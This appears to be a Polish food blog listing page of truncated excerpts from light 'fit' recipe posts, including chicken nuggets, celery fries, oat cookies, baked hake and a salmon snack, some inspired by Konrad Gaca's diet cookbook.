Kocham wszystko co grillowane, ale niekoniecznie mięsne i tłuste. Wpadłam na pomysł przygotowania przystawki, których podczas plenerowych imprez zdecydowanie brakuje. Jest smacznie, szybko, elegancko, lekko i

Kocham lato za jego słońce, długie i ciepłe dni, za aromat kwitnących kwiatów takich jak bez i róże. Postanowiłam podzielić się z Tobą przepisem na cudowny

Szybkie jedzenie nie musi oznaczać fast food'u. Mało tego w 10-15 minut jesteś w stanie przygotować smaczny, ale i zdrowy posiłek. Wystarczy, że otworzysz

Są takie cudowne chwile w życiu człowieka, że może wyjść do pobliskiego warzywniaka i kupić cudownie pachnących, polskich truskawek. Tylko co wtedy zrobić z zapasem tych

Dzisiaj prezentuję Wam kolejny przepis w wersji FIT- nuggetsy z lekkim dipem czosnkowym. Przepis został zapożyczony(...)pewnej diety proteinowej :) ale myślę, że zyska sympatyków nie tylko wśród odchudzających się. Te pyszne kawałeczki piersi z kurczaka świetnie pasują na obiad lub kolację.  Nuggetsy w wersji FIT Składniki: 1 pojedyncza pierś z kurczaka, mały jogurt naturalny, 6 łyżek otrębów (ja użyłam 3 łyżki otrębów pszennych i 3 łyżki otrębów owsianych), łyżeczka przyprawy gyros, ząbek czosnku, sól

naszą zimową porę roku, podbija kubki smakowe i nadaje się również jako sos do klusek, makaronów, kasz i ryżu, dodam, że jest to danie fit, więc dla wszystkich fit-maniaków wręcz wskazane:) Składniki: 6 pomidorów 1 duża papryka lub 2 średnie koncentrat pomidorowy Kotlin (80 gr) puszka pomidorów krojonych bez skórki Rolnik ząbek czosnku suszona papryczka chilli (opcjonalnie

wspomagające metabolizm, a także yerba mate - wspomaga wytwarzanie żółci oraz powoduje uczucie sytości. Wszystkie te składniki, a także kilka innych, odnajdziecie w pewnym napoju ... Składniki: 2 torebki herbaty Teekanne Fit&Slim sok z 1/2 pomarańczy(...)cytryny 5-7 goździków kawałek imbiru ( wielkości połowy kciuka ) 1/2 łyżeczki miodu 1/2 szklanki wrzątku 300 ml przegotowanej zimnej wody Wykonanie: We wrzątku zaparzyć herbatę Teekanne Fit&Slim - herbatka zawiera w składzie yerba mate, pokrzywę, miętę zieloną, herbatę zieloną i mirt cytrynowy, dodając pokrojony imbir i goździki. Napar parzyć 5 minut. Posłodzić miodem. Przestygnięty napar połączyć z sokiem

Dzisiaj dołączyłam do listy zakładkę "FIT". Chyba każdy miał (ma lub będzie miał(...)swoim życiu taki okres, że przechodził na dietę, obiecywał sobie, że będzie uważał na to co je. Nie jestem na żadnej specjalnej diecie, ale lubię dania z zakresu fit. Często zdarza mi się liczyć kalorie, więc pomyślałam, że może skorzystacie na moim skrzywieniu :P Żeby się najeść wcale nie potrzebujemy tłustych i ciężkostrawnych potraw. W prosty sposób można przygotować

ciastka mogą być "fit". Według Nas mogą. Postaramy się w poniedziałkowych "fitach" pokazywać przepisy na takie zdrowsze łakocie, które świetnie smakują i zaspokajają Naszą ochotę na słodycze. Dziś ciasteczka, których głównym składnikiem są płatki owsiane a słodzone są miodem. Ciasteczka owsiane z daktylami i orzechami SKŁADNIKI: 1,5 szklanki płatków owsianych 1/2 szklanki mąki pszennej 4 duże łyżki

Kilka dni temu naszła mnie ochota na rybę. Zrobić pieczoną czy też bardziej fit pomyślałam ??? I tak też w dzisiejszym Poniedziałkowym Fit zapraszamy na morszczuka przygotowanego inaczej niż zwykle, mianowicie - morszczuk został upieczony na cukinii pod kołderką z płatków migdałowych - zdrowie na talerzu :)  Morszczuk na cukinii pod migdałami SKŁADNIKI na 2 porcje: 2 płaty morszczuka

wpis z cyklu Poniedziałkowy "fit".  Frytki kojarzą Nam się z bardzo kalorycznym daniem . Dziś postaramy się udowodnić, że tak być nie musi. Postanowiłyśmy przygotować frytki w wersji "fit". Pierwszym warzywem na które zamieniłyśmy ziemniaki był seler. Paprykowo - ziołowe frytki z selera wyszły bardzo smaczne.  Polecamy :-)  Paprykowo - ziołowe frytki z selera SKŁADNIKI: 1 duży seler

kolejna dietetyczna propozycja inspirowana książką Konrada Gacy pod tytułem "Kuchnia fit. Śniadania. Obiady. Kolacje". Łososiowa przekąska składa się z niskokalorycznych warzyw - marchewki i zielonego ogórka(...)dodatkiem jajka ugotowanego na twardo. A wszystko zostało polane dresingiem z naturalnego lekkiego jogurtu. To danie jest doskonałe na lunch czy lekką kolację. Łososiowa przekąska fit Czas przygotowania: 30 minut Proporcje dla dwóch osób Składniki: 100 g wędzonego łososia 2 jajka ugotowane na twardo 1 duża marchewka  kawałek zielonego ogórka (20 cm) 3 łyżki

mili, przejedzeni po Świętach ? Ja muszę się przyznać, że wszelkie ograniczenia poszły w kąt i pofolgowałam sobie dość mocno. Dlatego teraz sięgam po książkę Konrada Gacy "Kuchnia Fit" i przez najbliższy czas zadbam o lekką strawę dla swego organizmu. Konrad Gaca w swojej książce prezentuje bardzo ciekawe, a jednocześnie nieskomplikowane przepisy na śniadania, obiady i kolacje. W każdym(...)ludźmi, ludźmi pełnymi energii i chęci do działania, ale przede wszystkim - ludźmi zdrowymi ! Książka, którą otrzymałam, ze specjalną dedykacją od Pana Konrada, będzie dla mnie takim drogowskazem po kuchni fit. Jestem pewna, że już niebawem wykorzystam wiele z prezentowanych w niej przepisów, a także, stworzę nowe, inspirują się przepisami Konrada Gacy. A teraz przytoczę Wam motto, które znajduje się

przepisów fit. Jak ktoś jeszcze nie próbował, to właśnie nastał czas aby zacząć używać kaszy i w waszej kuchni.  Na moim blogu zwiększą swą obfitość przepisy fit. Związane to będzie z ważnym wydarzeniem w moim życiu do którego muszę mieć świetną sylwetkę :D  Większość Pań na pewno wie o co chodzi :) Jednak